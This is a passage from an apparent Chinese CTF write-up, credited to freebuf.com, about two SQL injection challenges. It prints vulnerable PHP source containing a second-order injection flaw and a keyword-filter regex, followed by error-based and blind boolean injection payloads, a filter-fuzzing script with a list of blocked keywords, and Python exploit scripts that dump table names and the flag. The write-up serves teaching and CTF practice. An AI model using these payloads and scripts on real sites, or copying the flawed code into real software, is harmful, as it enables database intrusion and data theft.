</html>
//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>修改收货地址</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
还发现提示文件hint.php
<?php
$_ = "注入在哪呢?";
?>
经过一番审计后,在search.php中发现一个注入点
过滤了一些注入关键词,无法深入注入,再找其他地方
在change.php中发现二次注入
address
参数未经正则检验,只使用了addslashes转义字符
在代码第21行,可以看到在更新地址时它不但修改了当前地址,还保存了旧地址。由此二次注入产生
构造payload验证
user_name=poc2&phone=admin&address='and updatexml(1,concat(0x7e,database()),1)#
编写脚本如下
#Author: 4ut15m
import requests
import random
import sys
def exp(payload):
confirm_url = "http://f944378e-ac5e-4660-9604-ead1204b58a8.node3.buuoj.cn/confirm.php"
change_url = "http://f944378e-ac5e-4660-9604-ead1204b58a8.node3.buuoj.cn/change.php"
uid = str(random.randint(100,1000))
b = str(random.randint(1,100))
user_name = b+"4ut15m"+uid
confirm = {"user_name" : user_name,
"phone" : "admin",
"address" : "'and updatexml(1,concat(0x7e,({})),1)#".format(payload)
}
requests.post(confirm_url, data=confirm)
change = {"user_name" : user_name,
"phone" : "admin",
"address" : "admin"
}
res = requests.post(change_url, data=change)
print res.text
exp(sys.argv[1])
结果只会显示31位
测试发现存在flag.txt,读取该文件
GYCTF2020 Ezsqli
fuzz可用字符
import requests
import time
url = "http://31b52a9b-0de8-4f8e-9803-8479baabb7b5.node3.buuoj.cn/index.php"
with open('/usr/share/wordlist/sql.txt','r') as f:
while True:
dic = f.readline()
if dic != '':
post = {'id' : '1\''+dic.strip()}
res = requests.post(url=url,data=post).text
time.sleep(0.2)
if "SQL Injection Checked." in res:
print dic.strip()
else :
break
结果如下
handler
sleep
SLEEp
delete
having
or
oR
BENCHMARK
limit
LimIt
insert
insERT
INSERT
INFORMATION
xor
AND
ANd
BY
By
case
admin'
union
UNIon
UNION
oorr
anandd
HAVING
IF
INTO
JOIN
sleep
infromation_schema
OR
ORDER
ORD
UNION
UPDATE
USING
AND
update
delete
inset
DELETE
floor
rand()
information_schema.tables
LIMIT
ORD
order
by
ORDER
OUTFILE
updatexml
instr
benchmark
format
bin
substring
ord
UPDATE
for
BEFORE
in
SEPARATOR
XOR
CURSOR
FLOOR
INFILE
substring被过滤,但是substr可以用
构造payload进行测试id=0^((select substr(database(),1,1))>'u')
布尔型结果,故可编写脚本了。
因为information_schema被过滤了,所以我们使用sys数据库来获取表信息
脚本如下
import requests
import time
url = "http://31b52a9b-0de8-4f8e-9803-8479baabb7b5.node3.buuoj.cn/index.php"
flag = "Nu1L"
def table():
tables = ""
for i in range(1,100):
l = 33
h = 126
while True:
m = (l + h)/2
if m == l or m == h:
tables += chr(m)
print tables
break
payload = "((select ascii(substr((group_concat(table_name)),{},1)) from sys.x$schema_table_statistics where table_schema=database() )<{})".format(str(i),str(m))
res = requests.post(url=url,data={'id':'0^'+payload}).text
time.sleep(0.1)
if flag in res:
h = m
else :
l = m
continue
def dumps():
result = ""
for i in range(1,100):
l = 33
h = 126
while True:
m = (l + h)/2
if m == l or m == h :
result += chr(m)
print result
break
payload = "((select ascii(substr(flag,{},1)) from f1ag_1s_h3r3_hhhhh)<{})".format(str(i),str(m))
res = requests.post(url=url,data={'id':'0^'+payload}).text
time.sleep(0.2)
if flag in res:
h = m
else:
l = m
continue
table()
#dumps()
flag
来源:freebuf.com 2021-02-27 10:58:36 by: 4ut15m
请登录后发表评论
注册